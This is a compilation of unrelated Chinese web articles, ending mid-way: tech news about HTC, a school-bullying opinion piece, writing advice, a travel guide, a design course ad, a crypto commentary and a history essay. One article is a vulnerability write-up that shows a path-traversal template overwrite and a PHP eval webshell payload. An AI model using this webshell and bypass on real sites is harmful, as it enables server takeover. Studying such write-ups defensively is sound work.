【商业周刊】工商时报吴筱雯:宏达电卖手机团队? 传谷歌年底前接手 (2507)

宏达电跟Google玩真的?随着硬体对Google策略版图的重要性与日俱增,Google现有硬体资源严重不足,加上宏达电亏损无法止血、财务压力日增,据了解Google并购宏达电的谈判已经进入最后阶段,最慢年底将拍板定案,不过标的仅有智慧型手机研发团队,而不是外界原先盛传的VR部门、也不是整间公司出售。

宏达电在2011年盛极而衰之后,出售的传言从来没有断过、却也从来没有成真过,也让8月底外电报导宏达电在美国与投资顾问合作考虑引进包括Google在内的策略投资人、出售或分拆VR事业VIVE等选项,一度被视为又是空穴来风。

不过,宏达电跟Google这次玩真的,但标的则不是外传的VR,而是智慧型手机。

一般人只把Google当网际网路公司、作业系统软体业者、AI先驱,可是Google的目标不止于此,比起当年Google莫名其妙地买下摩托罗拉、又莫名其妙地贱价将摩托罗拉卖给联想,业界人士表示,现在的Google野心已经不比当年,现在的Google希望可以能够完美整合软体、内容、硬体、网路、云端、AI于一身,就像亚马逊一样,而要达成这样的目标,硬体是必须的投资。

从目标来看,Google发展智慧型手机硬体各方面资源可说远远不够,宏达电与Google从多年前第一支Android手机Nexus开启合作关系,去年与今年宏达电也都替Google代工高阶智慧型手机Pixel,双方关系深远,加上宏达电已经连续亏损9季、财务压力日趋沈重,促成双方展开谈判。

据了解,Google正就策略投资或买断宏达电智慧型手机研发团队一事洽谈中,谈判则已经进入最后阶段,最慢会在年底前定案。

而在VR研发团队方面,宏达电Vive在高阶VR装置中享有盛誉,成就盛誉的关键首推追踪技术,宏达电的追踪技术其实掌握在合作伙伴Valve手中,宏达电年底将与Google合作推出VR一体机,追踪技术则是使用Google开发的WorldSense,而最重要的关键零组件显示面板,技术主导权则在面板供应商三星、夏普、JDI身上,Vive研发团队的价值一时之间无法被彰显。

(工商时报)

※本文获《中时电子报》授权转载,原文

未成年女生因校园欺凌被判刑,校园监管是否也有责任?

霸凌女生

法制晚报·看法新闻9月4日报道:14名女学生皆因校园欺凌被判刑,其中最重的被判处有期徒刑一年十个月,缓刑二年,轻的行政处罚。为了帮助这14名校园“小霸王”们顺利回归校园,通州法院开展了“运河启航计划”之未成年犯少年课堂活动,联合通州某学校,共同对14名罪错少年进行为期一周的法制教育。

这14名女孩是某教育学院的学生,还有二年就要毕业了,这些人中平均17岁,最小15岁,法院以强制侮辱罪判罚。

我留意到新闻用的词是“罪错少年”,而非以前认知里的“少年犯”。

我看到对这14名罪错少年进行的是“为期一周”的法制教育。

我还重点留意到“这14名女孩是某教育学院的学生”。

教育学院不应该是培养教师的院校吗?教育学院怎么会有未成年女生?这样的学生能培养出来当老师吗?为期一周的法制教育有用吗?她们是不是“少年犯”?

因为家有同龄女儿,将来有一天也会住集体宿舍,过校园生活,比较关注校园霸凌方面的话题。因为怕她会被欺侮,也担心她会欺侮别人。关于校园霸凌,我历来的观点都是:打人的和被打的都不是好孩子!

我想表达的观点之一是:对校园欺凌应该零容忍。未成年女生因校园欺凌被判刑,最应该问责的是他们的父母;如果是同一所学校的14名学生,那就是校风问题,校园监管当然有责任。

2013年,山东艺术设计学校就有一个16岁的女生小雨(化名)被室友殴打4小时,上了新闻。北京这14名犯“强制侮辱罪”的未成年少女想来也是因为对同学实施了暴力。事件发生后,都有问责“校园监管”的声音。

2016年,中国在美留学生酷刑绑架案3名主犯翟芸瑶、章鑫磊和杨玉菡分别被判13年、6年和10年刑期。事件发生后,极少听到对美国“校园监管”的问责。

这大概是因为,2015年4月,美国各州都通过了反霸凌法,在刑法上对实施暴力欺凌的犯罪主体判刑很重。美国法律将打人、吐口水、推搡、拍裸照,甚至精神贬低等行为都等定性为霸凌。情节严重者会被学校开除;对有些行为恶劣的惯犯学生,无论是否满18岁,都会被追究刑事责任。

留学生绑架案主犯

如果要问责学校,是否要追溯到这些女生的幼儿园、小学甚至中学?是怎么培养出来这样的学生一路升学的?孩子出了事,都“归罪于外”、归罪于学校,是对学校、对老师最大的不公。要归罪,要问责,最该归罪和问责的是他们的父母,不应该把他们生出来。

在北美,家庭、学校、社会对校园霸凌是零容忍。从幼儿园开始,学校就反复强调学生的正确的行为规范。在校期间,同学之间是身体零接触(no touch)。孩子学习不好,学校一般不会找家长,但孩子如果行为失当,比如和同学不友善相处、主动触碰同学身体、说了不友好的话等等,学校一定会给家长写通知、约见家长。小学时,学生们就很明确地知道什么行为属于霸凌。不止是打骂同学属于霸凌行为,甚至冷落同学都属于此范围。比如两个孩子正在玩游戏,第三个孩子要求加入,如果这个游戏不是只能由两个人玩的,那么就不得拒绝第三个孩子,否则就属于霸凌。学生一旦投诉说被霸凌,校长、老师都会高度重视,一定会调查、处理,约谈欺负人的学生家长。处理结果可能达不到受害家长的要求,但校方绝不会让受害家长息事宁人。

我想表达的观点二是:我们对未成年人犯罪太过宽容了。

“判刑后女生们都表示很想回学校继续学业,学校也表示愿意接收,但要看表现,要签订协议……”情节严重的,难道不应该开除永不录用吗?所谓杀一儆百。

季羡林先生在90岁左右时说:根据我的观察,坏人,同一切有毒的动植物一样,是并不知道自己是坏人的,是毒物的。根据我的观察,我还发现,坏人是不会改好的。

没有对别人生命和人格的尊重、没有对法律法规和制度敬畏心的学生,是不可能教育好的,校园监管也起不了作用。

作为一名写作者,你知道最大的致命伤是什么吗?

对于一个写作者而言,最大的致命伤是什么?

关于这个问题,仁者见仁智者见智,倘若要我来回答的话,我个人认为,对于一个写作者而言,最大的致命伤,莫过于三分钟的热度。

写作,并不是一项立竿见影的工作,尤其是对于小说创作而言,必须得一步一个脚印。从稚嫩到成熟,这是每一个初学者的必经阶段,在写作初期,我们会遇到很多困惑,只有战胜这些困难,我们才能继续前进。前方不是一片坦途,我们要越过崇山峻岭,才能到达理想的彼岸。也许,很多人在攀登第一座山时,已经决定放弃。

有的人总喜欢拿自己的文章和一些作家的作品对比,无意之中相形见绌,会发出“我写的这么差,还是算了吧”的感慨。亦或者我们会拿自己的文章和同类型的作者相对比,然后我们发现,我们并没有他们写的好,这个时候会有一种自卑的心理产生。

我的建议是作为一个写作者,向大作家看齐并无不妥,但是要做对比的话最好和过去的自己做对比,在写作中看到自己的进步,查找自己的不足。在这条道路上才能走得更远。

不要因为写出一篇爆文而沾沾自喜,不要因许多篇文章点击量不高而暗自伤悲。虽然写作不是一件十分快乐的事,但是至少在我们创造世界的过程中,能够体会到人物的喜怒哀乐,当我们完成一篇书稿时,会感到格外轻松。

对于一些新手而言,刚开始写作时,情绪高涨,一旦写作过程中遇到一些挫折,便一蹶不振。

写作是一项持久的运动,必须要拥有十足的自我驱动力,不能仅仅依靠外部压力来督促自己前进。

有些人也许会经常问自己这样的问题,我到底适不适合写作?我到底能不能成为作家?我到底能不能出书。其实没有人能给你一个确定答案,唯有时间和实践。

有人曾经在简书简信咨询我,大概写多少字才能出书?我告诉他:很多字。

作为一个写作者,我们只有不停地写。当然,这个写作过程并不是一个盲目的过程,有时也要关注市场行情,读者反馈,这样才不会让我们走进一个死胡同。

在了解自己作品风格类型的基础上,我们要不断完善自己的写作方法,形成自己的语言风格,写出自己的文章特色,当今出版市场虽然庞大,但如果一味跟风,没有自己的特色,很快便会石沉大海,甚至尚未出版已经夭折。

对于写作者而言,需要注意的问题有很多很多,但是最重要的,我认为还是坚持二字。写一篇文章,不要三分钟的热度,今天下定决心要写个长篇,明天只开了个头,后天便放弃了,三天打鱼两天晒网,永远不会有什么结果。

对于写作者而言,无论什么问题,最终归根到底,要落到两个字上面,人和事。能把人物和故事写好喽,你就成功了。

作为一名混迹于简书三年的我,直到现在才出版了自己的处女作《不要跟踪我》,期间默默无闻,从未停止写作。倘若我因为写作不顺而轻易放弃,也不会有出书的一天。

当出书的目标实现以后,我接下来的目标并不是出很多书,而是写出精彩的故事。

写作,不是买彩票,没有碰运气一说。唯有躬身下来,辛勤耕耘,才会有收获的一天。在此,我希望所有拥有写作梦想的人不要轻言放弃。

梦想和咸鱼的区别在于,咸鱼是死的,梦想是鲜活的。要让你的梦想有温度,最好的方式就是要不停地触摸她,接近她,不要让她受到冷落。总有一天,她会投桃报李。当梦想照亮现实的那一天,你就会明白,所有的努力和坚持都是为了这一刻。所有追梦路上付出的汗水和泪水皆微不足道。

奔跑吧,少年,向你的梦想前进!


免费的写作分享课,就在今晚八点:小说写作免费分享课 | 我如何在简书出版了第一本书?

最适合你的小说创作18讲〖可报名〗

长顺:花开花谢花化泥,长顺长安长相依

图文 | 酒梦

你是否对每天平淡而重复的生活感到厌倦?

你是否面对一堆杂乱无章的资料感到烦躁?

你是否在毫无察觉间被这个嘈杂而喧嚣的世界扰乱了内心的平和?

其实有时候,并不是世界改变了我们,而是我们缺少了改变生活的勇气。

也不是生活变成了我们讨厌的模样,而是我们缺少了去发现生活之美的眼睛。

不如趁着工作忙碌之余的闲暇时光,跟我去这个距离贵阳不过一个半小时车程的黔南小城,来一场心灵放逐之旅。

这个依山傍水,冬无严寒,夏无酷暑的黔南小城,她叫长顺。

初次听说她的名字,我的脑海里便不自觉地浮现出那句“花开花谢花化泥,长顺长安长相依”。

心想,该是一个怎样岁月静好,现世安稳的小城,才配得上这么平和安宁的名字。

和长顺的邂逅,源于一次意料之外的惊喜。

当我走近,我才明白,什么叫诗意的栖居。

波澜不惊——凤凰湖

漫步在凤凰湖旁,望不尽的杨柳依依,在微风中轻轻摇曳,放佛在对那些纷扰的过往挥手告别。

悄悄地来,轻轻地走,不带走一粒尘埃。

水鸭在河岸上兀自玩乐,波光粼粼的湖面平静得没有一丝波澜,给浮躁的内心带来了片刻的宁静。

走累了可以倚靠在湖边的葡萄架下小憩,在这里,你可以什么都不想,也可以什么都想。

不必去在意时间的流逝,不必去管世俗纷扰。

穿越千年——广顺州府

那一天天空很蓝,云朵很白,仿佛一伸手就能碰到天。

漫步在广顺州府的悠悠古道上,好像穿越回一段千年前的旧时光。

小轩窗

透过精致的木窗望见窗外的草木青葱,忍不住想按下快门定格这一刻的幽静美好。

行走在青翠的竹林小道旁,听一首安静的古老歌谣,享受一段惬意的午后时光。

墙上竹影斑驳,时光悠悠从指缝间轻轻划过。

浮云来去匆匆,和奔走于世俗中的我们有些相像,也许在人生的旅途中,我们都走得太快太匆匆,来不及去欣赏沿途风光的美好。

但是在州府,你可以放慢脚步,仔细地聆听一缕清风的浅唱,安静地赏一轮亘古不变的白月光。

庭院里藏了多少旧故事,需要你推开城门亲自去寻找。

诗画田园——凤凰坝生态农业体验园

从喧闹的城市里逃脱,走进乡间田野,来一场亲近自然之旅,采摘一份愉悦的心境,聆听返璞归真的儿时场景,也是一次不错的心灵享受。

行走在凤凰坝的乡间小路,一阵阵鲜果的清香和泥土的芬芳扑面而来,一望无垠的红苹果和紫葡萄,把这里装扮得风姿翩翩。

万绿丛中,鲜果挂满枝头,小鸟在枝头不知疲惫地歌唱。

游人稀少,四周一片寂静,唯独果园里传来丰收者的阵阵欢声笑语。

苹果园旁边长了一排野生的刺梨,轻轻摘下一颗放在嘴里品尝,有点酸涩的味道,让人想起儿时在乡间田野采摘刺梨泡水的场景,记忆定格在了昔日质朴的旧时光。

果农的院子边葫芦结得正好,蔚蓝的天空配上绿色的葫芦,使人心情也瞬间愉悦清爽起来。

美食云集——长顺县育才巷

育才巷

赏够了古城温婉的月,沐浴了山间清爽的风。

不如去长顺县育才巷,来一场丰富多彩的舌尖之旅。

街道虽然看上去很陈旧,却是个美食云集的地方,很多店都是多年的老字号,他们从不做宣传,却依然能够吸引无数吃货蜂拥而至,靠的全是一传十,十传百的口碑。

图文 | 酒梦

育才巷美食种类繁多,不管你好哪一口,相信都能在这里找到你的心之所爱。

在这里,你什么都不用管,只管敞开了吃。

长顺牛肉馆

牛肉火锅

如果你喜欢吃牛肉火锅,一定要去长顺牛肉馆。

不管是色泽诱人、酸辣爽口的酸汤牛肉还是味道香浓、嚼劲十足的黄焖牛肉,都能给你的味蕾带来非一般的享受。

火锅的食材都是老板亲力亲为,每天早晨在杀牛市场上收购的最新鲜的,保证味道鲜美。

舀一勺酸汤泡饭,汤色鲜红,香味四溢,令人垂涎欲滴。

再夹一块带有牛筋的黄焖牛肉,蘸上店家自制的豆腐乳辣椒,酸辣味十足,令人胃口大开,入口即是享受。

彩云酒家

如果你晚上逛街累了之后想来点宵夜,不如去彩云酒家。

豆腐圆子

外脆里嫩的豆腐圆子要趁热吃,蘸上店家配制的辣椒佐料,轻轻咬上一口,咸辣爽滑,满口喷香,一天的疲倦感瞬间消失全无。

辣鸡角

香辣软糯的辣鸡角,要冷着吃。辣椒炒鸡一向是贵州人最爱的搭配,辣鸡角的独特之处在于冷了吃会有一种独特的香辣味,鸡肉和辣椒搭配适宜,也不会被辣椒抢了鸡肉的鲜味。

羊尾

光凭味觉和视觉,你绝对猜不出这道菜的食材是肥肉和白糖,吃起来香脆可口,甜而不腻,也不用担心会长胖,因为肥肉里的油脂已全部被榨干。

酥肉

当排骨遇上面粉,便有了香脆可口的酥肉。

一口咬下去,醉人的排骨鲜香充盈着口舌鼻腔。还可以根据自己口味洒上一点辣椒粉,那滋味真可谓妙不可言。

粗茶淡饭阁

腊肉盛宴

如果你想找回小时候自家腌制腊肉的味道,不如去粗茶淡饭阁。

所来皆是客,一桌腊肉盛宴让你体会宾至如归的感觉。

腊肉采用当地农户自己饲养的猪肉为原材料,通过盐的腌制和柴火的熏制而成。

或蒸或炒或煮皆可食用,肉质散发着柴禾的清香,吃后唇齿留香,令人久久难以忘怀。


花开花谢花化泥,长顺长安长相依。

这里是长顺,听清风流水,看蓝天白云,行悠悠古道,品美味佳肴。

这个秋天,在这里,来一场心灵放逐之旅。

小李,把这个界面做个动态演示版给甲方看…

最近越来越多的设计师找到优设编辑反馈,说遇到了瓶颈,细问发现,这群设计师里不仅有刚入行的设计新人,也有多年经验的资深设计师,有绘画功底扎实的艺术学院毕业生,也有自学成才的非科班设计师。

无论经验丰富与否,科班出身与否,他们在成长路上都遇到了同一个绊脚石:动效设计。

为什么都想学习动效设计?

这两年随着设计规范(iOS/Android)的逐步沉淀,交互表达方式趋同已经成为不可逆转的形势,这就意味着,当产品给出需求,交互设计师梳理完信息架构,一个不会设计的程序员也能靠Material design 设计规范做出一个有模有样的App。正所谓:

就着规范走,配色不会丑;
规范在我手,设计不用愁。

当规范可以替代掉部分设计工作的时候,我们的核心竞争力在哪?当然,用户体验是永恒的话题,而动效,恰好成了提升用户体验的一个跳板。

微博一个点赞动效,让无数人有了点赞的欲望 —— 用设计提升用户活跃度。腾讯电脑管家的小火箭清内存动效,吸引了无数人去体验 —— 用设计提升下载量QQ小红点拖拽消失动效,风靡全国,红点恐惧症人群自发宣传 —— 用设计塑造口碑

不过可别以为只有大公司才需要做动效设计,小公司会用到动效的地方更多:

想实现一个动效

开发:你口述我听不懂,没有Demo?那你做一个出来给我

做了个LOGO

老板:多做一个动效展示版本的,用动效阐述下你的设计过程,光一个静态LOGO 多没格调

做一个加载控件

老板:加载控件要动起来才有趣味性,今晚加个班,把这个做了吧

画了个插画场景

老板:现在大家都喜欢看动态图,你让这个场景动起来才有意境,今晚辛苦加个班

画个团队肖像:

老板:人物都不动的啊,做个动效弥补一下,很快的,下班前给我

像这样:

是不是来回看了几次,感觉有趣多了?

但动效设计之所以成为本科学历般重要的职场敲门砖,更多的是由于它承担了UI设计中许多不可或缺的功能,即功能性动效。

1. 展现层级关系:

鸡爷作品

2. 提供视觉反馈,吸引注意力:

鸡爷作品

除此以外,增加愉悦度、给用户引导,告知界面变化状态等等,都是动效设计的功能之一。

现在回到刚开始的问题,为什么都想学动效设计?答案是动效在UI 设计扮演着至关重要的角色,不会动效的设计师,做不了动态演示,画不了动态场景,动效成为趋势之下,你的求职晋升会越来越艰难。

学了动效设计能收获什么?

口说无凭,让学员亲自来说是最好的证明。

有了动效设计的技能加成,求职3-5年的设计师也不胆怯,成功加薪20%!


给你的作品加点动效,薪资说不定也能涨4K!

其他学员的收获也超级大:


△ 以后做LOGO,做界面设计等等,都不用怕动态演示啦

△ 鸡爷教书之余不忘学习最新的设计趋势,并传授给同学们

△ 即使基础不行,在鸡爷的耐心教导下也可以掌握动效设计技能

△ 不仅教你做动效,连PS和AI 都有教,全能的鸡爷!

△ 零基础学动效?有专业幽默的鸡爷教你,还有班主任和助教耐心帮你解决问题,更有终身辅导!

评价这么好,学员的作品当然也相当不俗:

△ 学员作业

△ 学员作业


△ 学员作业

△ 学员作业

△ 学员作业

△ 学员作业

老师介绍

这么好评如潮的课程,老师当然是我们的动效设计老师鸡爷咯:

BeardChicken,圈内粉丝都戏称鸡爷,优设特约免费讲座分享讲师、站酷648 万超人气设计师、全国十佳UI 设计师。

他在全球知名的设计站点Dribbble上也拥有极高人气,围观地址→ dribbble.com/tczhang

2008年开始从事广告行业,2010年开始从事UI工作,曾任职阿里数娱(天天动听)设计总监,兼创业公司设计顾问。

常年在优设分享设计教程,并且培养了超500名优秀学员,毕业学员就职BAT、更有拜师学艺后考上清华交互研究生。

课程特色:

第一:优秀助教督促辅导

课程采用1位老师+N位助教模式,全方位为大家服务。

第二:完整的项目实操

老师将带领大家做完整的项目实操,课程与工作无缝对接。

第三:独有优设课堂体系

课程采用优设独有的考勤方式、作业评优方式来奖励认真上进的学员。

报名此课程你需要的是:

1、需要熟练PS,有界面设计基础;
2、上直播不缺课,有疑问随时请教老师;
3、一定要交作业!鸡爷对每个学员作业均一对一辅导。

上课方式:

通过QQ群屏幕分享以及CCtalk直播上课,有画面有声音,老师的电脑屏幕和操作都能看清,也可实时互动交流,平时是通过qq群和微信群交流。

老师都会把直播全过程录制下来,视频加密后放百度网盘分享出来,可长期反复观看,限一台电脑。

△ 图作者:小光老师

优设学员遍布以BAT为首的互联网公司,大课堂特建立“优设大课堂校友圈“。汇集了优设十多个课程的所有学员,享有不定期免费公开课、私单招聘发布、与上千位设计师交流等福利。

在校友圈,你可以接触这12个不同领域的大咖老师,并享受他们的公开课辅导。

名额有限,欲报从速

想跟着鸡爷学习的同学,AE动效设计特训营第六期9月15号马上就来啦,为期3个月的课程,让你在下半年快速提升核心竞争力!温馨提醒哟,这是今年最后一期了,名额有限,再不抓紧就得等明年啦。

真诚的献上价格:

有疑问可以通过以下QQ或者微信咨询客服妹妹噢~

请往下看↓↓↓

报名方式一:

添加小优微信号:youshemei1(验证:动效报名)

报名方式二:

联系娜娜QQ:1271488608(验证:动效报名)

如果暂时无法联系到客服,可以点击阅读原文到优设官方微店下单购买。

挖洞经验 | 记一次曲折的Getshell过程

*本文原创作者:三只小潴,本文属1024rd原创奖励计划,未经许可禁止转载

最近在挖某框架的漏洞,其中挖到一枚Getshell,挖的过程有点曲折感觉可以写篇文章总结一下,方便与各位大牛交流交流。

因为此框架有大量用户,并且此漏洞并未修复,故此隐去所有有关此框架的信息,连文章中出现的代码都是我自己另写的,重在思路,希望大家理解。

首先通过审计定位到可能导致漏洞的代码(路径:/edit/creat.php):


  $file = $_GP['file'];
  $viewFile = './setting/' . $file;
  if (!file_exists($viewFile)) {
      mkdirs(dirname($viewFile));
      file_put_contents($viewFile, '<!-- SETTING URL:setting /' . $file . ' -->');
  }

其中 $GP 是合并 $GET 和 $_POST 的变量。

可以看到写入的文件路径和写入的部分内容都是可控的,看到这里不禁露出了一丝笑容,没想到一枚 getshell 如此轻松。

好吧,先测试一下,把$file的值设置为:

<?php echo 1111; ?>.php

post 到 /index.php? control=edit&action=creat

(此框架是单入口)

预计生成的文件内容是:

<!-- SETTING URL:setting/<?php echo 1111;?>.php -->

好了,那访问一下生成的文件,URL:

http://test.com/edit/setting/%3C%3Fphp%20echo%201111%3B%20%3F%3E.php

右键查看一下源码,发现输出的内容是:

<!-- SETTING URL:setting/&lt;?php echo 1111;?&gt;.php -->

居然被过滤了? 回溯之前的代码,在 index.php 文件中发现代码:


  $_GP= array_merge($_GET, $_POST);
  $_GP = htmlEncode($_GP);
  $control = $_GP['control'];
  $action = $_GP['action'];
  $controls = array('basic', 'edit');
  $actions = array('index', 'creat');
  if (in_array($control, $controls) &&in_array($action, $actions)) {
      $file ="./$control/$action.php";
      include $file;
  } else {
      echo 'error';
  }

关键在开始的两行代码上,htmlEncode ? 搜索这个函数,找到这个函数的代码如下:


function htmlEncode($var) {
  if (is_array($var)) {
      foreach ($var as $key => $value) {
          $var[htmlspecialchars($key)] =htmlEncode($value);
      }
  } else {
      $var = str_replace('&amp;', '&', htmlspecialchars($var,ENT_QUOTES));
  }
  return $var;
}

结合起来,就是对 post 和 get 获取到的所有内容进行htmlspecialchars,所以才会出现上面所看到的尖括号被过滤的情况。

看到这里,脸上的笑容都消失了,哎呀,果然没那么容易。尖括号过滤了,那就没办法写入PHP 代码的解析标签了,想不到什么突破的办法,难道就这样放弃么?开始犯愁…

一直想着:过滤了尖括号怎么办?过滤了尖括号怎么办?过滤了尖括号怎么办……

那我能不能不用尖括号呢?不用尖括号能不能解析?要怎么才能解析?想到这里,突然就想到模板!这个框架的模板和大多数 MVC 的模板一样,使用大括号作为标记:


function view($var) {
      /*
          这里一系列的处理就不写了
          过程就是对模板中出现的伪代码进行处理
          这些做过 Web MVC 开发的都知道

          而伪代码的格式与常见的格式一样,用大括号把变量括起来,比如:{$var}
          当然还有一些 {if $var==xx}、{loop $var as $valu e} 等等这些

          其实这些处理的目的就是生成 PHP 可解析的代码
      */
      //假设解析后的代码文件存放在一个 tmp 目录里,而目录的路径赋值给了 $viewFile 变量
      include $viewFile;
}

这样就可以使用模板的标记 {} 来绕过尖括号 <> 的过滤,但是根据这个框架的路由协定,模板不能随便被包含,所以只能覆盖原有的模板。

按照这个思路,找一个有加载模板的功能,覆盖加载的模板,覆盖之后访问了就可以解析了。按照这个思路,找到一个加载了模板的功能,URL是:

/index.php? control=basic&action=index

代码路径在/basic/index.php,代码最后就有调用 view(‘index’);

加载的模板路径在:

/themes/basic/index.html

按照这些信息,应该构造 $file 的值为:

../../themes/basic/index.html

但是这样又有一个问题了,虽然构造这样的值可以覆盖原有的模板文件,但是写入的文件内容就是:

<!-- SETTING URL:setting/../../themes/basic/index.html-->

这样的话就没有写入需要的 Webshell 了,怎么办呢?!

根据 URL 的特性,./1.php 和 ./test/../1.php 访问的内容是一样的,都是 1.php 这个文件,但是 test 这个目录名我是可以随便写的,再根据模板伪代码的格式构造一个控制 $file 的测试 POC:

../../{php echo 1111;}/../themes/basic/index.html

(根据 view() 函数的代码,有一个{php }伪代码标签,处理的时候会替换为 <?php >。其实就算是没有这标签也可以用其他非组合的标签代替)

生成的文件内容为:

<!-- SETTING URL:setting/../../{php echo1111;}/../themes/basic/index.html -->

访问 URL:

/index.php? control=basic&action=index

右键查看源码,输出的内容为:

<!-- SETTING URL:setting/../../1111/../themes/basic/index.html -->

证明代码执行了,那构造一个包含一句话的 POC,按照上一个 POC 的思路,应该把 file 的值构造为:

../../{phpeval($_POST['w']);}/../themes/basic/index.html

但是访问后发现输出的内容为:

../../{ phpeval($_POST[&quote;w&quote;]); }/../themes/basic/index.html

想起 $file 的值是通过框架封装的 $GP 来获取的,$GP 的值都经过了 htmlencode,怎么办呢?! 根据 PHP 的特性,$_POST[‘w’] 获取值的时候可以把引号去掉,所以可以把 poc 改为:

../../{php eval($_POST[w]);}/../themes/basic/index.html

访问 URL:/index.php? control=basic&action=index ,给参数 w传值 echo 1111;

右键查看源码,内容为:

<!-- SETTING URL:setting/../../1111/../themes/basic/index.html -->

证明 post 的代码确实被执行了,到服务器上执行:

cd /var/www/html/themes/basic/
vim index.html

至此,getshell 完成,虽然过程有点艰辛,但还是拿下了。

最后总结一下:

1. 刚开始遇到过滤尖括号等的 HTML 字符的时候,利用了 MVC 模板中的伪代码代替绕过了

2. 遇到覆盖文件时候填写完整路径不能写入payload 的问题,使用了构造一个不存在的目录(目录的名称就是 payload)的方法进行 payload 的写入

3. 最后写入 payload 的时候发现也过滤了引号导致不能写入 $POST[‘w’] ,根据 PHP 的特性,去掉引号依然可以获取 w 下标的内容,所以替换为 $POST[w]

4. 写入最终构造好的 payload,Getshell 完成!

*本文原创作者:三只小潴,本文属1024rd原创奖励计划,未经许可禁止转载

ICO:本该是技术的盛宴,却被人性搞成血雨腥风的狂欢

2017年9月4日,星期一。

国家六部委同时联合声明,叫停ICO,定性“非法集资”。

以比特币为首的电子货币价格断崖式下跌,恐慌瞬间笼罩了整个币圈。

几个月来爆炸式的增长,以分钟级别创造千万、百万富翁的神话,吸引了投机者太多的眼球和驻足,他们摩拳擦掌,看着那些疯长的数值开始变得癫狂,仿佛听到远方“财务自由”的召唤。

他们红着眼球杀入了币圈,他们把手里的人民币兑换成各式各样ICO概念电子货币,幻想着公开发行后,成百上千倍的资产增长。

然而今天开始,那些身背数倍杠杆、原本想靠混乱制度一夜暴富的投机者,开始了他们惶恐,并且不知尽头的炼狱逃生之旅。

ICO(Initial Coin Offering),首次货币发行,以众筹方式获取前期资本,用于发行新式电子货币,而给这些资本的回报就是相应价值的电子货币。

ICO的底层技术是区块链,一种不可篡改的分布式账本技术。

而因为区块链技术的不开篡改和去中心化的技术特征,天然成为电子货币的技术承托体,比特币就是随着区块链技术的开始而诞生在在这个世界上。

货币电子化是自然趋势,使用方便、结算清晰,支付宝、微信已经开始让人们体会到货币电子化的威力。

然而与支付宝、微信不同的地方在于,它们只是人民币的电子化形式,比特币之流却是一种独立货币,一种能够担任全世界物品价值衡量中间件的电子货币。

依托于强大的区块链技术,不开篡改、超强机密性以及交易公开透明的天然技术特征,让比特币等电子货币看起来那么美好。同时它们就像现今的黄金等贵重金属,总量变化很小,所以价值可以基本固定。

它被誉为信息化时代的黄金,大有剥夺千年来形成的贵金属价值属性,成为资产保值最后屏障的趋势。

正是这些特征,让ICO的玩家有了吹起泡沫的价值点。他们唯一需要费力的工作就是如何为自己ICO的电子货币取一个诱人的名字,好让自己的货币看起来更有噱头,从而让更多的人掏出手中的真金白银。

然而历史证明,技术从来都只是资本轮转的垫脚石,人性才是让这个行业触目的原始力量。

目前的ICO之流注定会是失败的,我初步总结了三点原因。

1.试图抹杀国家外汇监管

比特币最令中国玩家玩味的地方其实在于它的全球性,一种凌驾于国家外汇储备管制之上的流通渠道。

虽然比特币的发明者是不明国籍的中本聪,但是据统计,现今80%的比特币交易量产生在中国境内。

除了国内狂热的投机热情之外,大量的资本外逃需求加速了比特币的疯狂交易,而这种试图绕过监管层面造成国有资产流失的行为,下场注定是悲哀的。

2.原始资产分配不均

比特币的算法决定它的上限是2100万个,其中它的发明者中本聪一人就拥有100万比特币。

而比特币诞生之初,那极其简单的挖矿难度,也让隐藏在世界各地,那些无数不知名的参与者个人持有大量比特币。

我们可以展开幻想,假设以后世界上的物品都用比特币来衡量价值,那么目前全球价值的二十分之一就归属中本聪一人所有,而那些早期持币者也可拥有这个世界上以万分之一为单位的资产,这是多么荒谬的事情!

战争的本质是资源掠夺,如果以后真的发生了上述情况,我个人认为以比特币为目标的掠夺战争将无法避免。

3.投机色彩太重

“1分钟创建区块链,5分钟制作PPT,10分钟完成ICO。”

这是前几天ICO疯狂时,币圈流行的一句话。

依托于成型的区块链技术,让ICO的技术门槛几乎为0,你所要做的就是想好一个名字以及做好一次营销,那么你的概念就成为了口中“未来统治世界的货币”。

而这些电子货币的购买者并不是为了它的价值,而是单纯的看到了它的投资属性,看到了10倍、100倍的资产增值空间,这样的发行环境以及投机心理,注定目前的ICO状态只是昙花一现的泡沫骗局。

写到最后,我个人很欣赏区块链这项技术,它所带来的价值将是不可估量的。而电子货币的发展也是必然现象,只是需要伴随相关政策的良性指导。

但是想跨越国家的界限和力量,去直接创建沟通世界的货币,目前仍然会遥遥无期,除非世界和平统一,或者外星人进攻了把。

史上最勤勉的皇帝

1

中国历史上一共出现了83个王朝,共有559个帝王,包括397个“帝”和162个“王”。 这些帝王里有的人建立了丰功伟绩,有的人玩世不恭。不过能够成为帝王的人并非等闲之辈,下面我们就看看帝王们的过人之处。

历代帝王中,寿命最长的皇帝是清高宗(乾隆皇帝)爱新觉罗弘历,享年89岁。寿命最短的帝王是东汉殇帝刘隆,2岁即亡。在位时间最长的皇帝是康熙,这几个皇帝在中国历史上都创造了各自领域之最。

历代王朝中,延续最久的是周朝,共800余年(西周300余年,东周515年);存在时间最短暂的是北辽,仅仅一年多。

而如果我问你在中国历史上最昏庸无道的皇帝是谁,你很难找到答案。因为昏庸无道的皇帝实在太多,更何况你也没有办法评判。但我要问你中国历史上最勤勉的皇帝,可能也会找到几个人来对比。

谁是中国历史上最勤勉的皇帝,答案不止一个,但不会很多。可能你有你的答案,而我今天和你说的答案和你未必相符。毕竟中国历史上有那么多皇帝,但凡能当皇帝的人肯定不是一般人。都得有点治国理政的能力,所以评判出中国历史上最勤勉的皇帝有一定难度。

2

我平时比较喜欢历史,直到现在对历史朝代顺序表都倒背如流。在中国历史上比较优秀的皇帝上有尧舜禹,后有周文王,汉高祖刘邦,光武中兴的刘秀,唐太宗李世民,康乾盛世的康熙帝和乾隆帝。

而我今天和你说的中国历史上最勤勉的皇帝都不是上面提到的最优秀皇帝,他在中国历史上还有一些负面评价。今天我们就好好介绍一下这位中国历史上最勤勉的皇帝,如果觉得我说的有道理,积极留言互相探讨。

我们都知道康乾盛世,在我小的时候还以为康熙帝以后就是乾隆帝。然后康熙为大清奠定良好基础,乾隆皇帝再次把繁华延续才有了康乾盛世。清朝入关前后一共有十三位皇帝,读了清朝历史才知道原来康熙和乾隆中间还有一个雍正。

雍正

我非常好奇,为什么康乾盛世中间还会有一个雍正呢?难道雍正真的很平庸,没有什么作为,和康熙乾隆相比相差甚远。最初我就是带着这种偏见看待雍正,觉得这个皇帝没有作为。

3

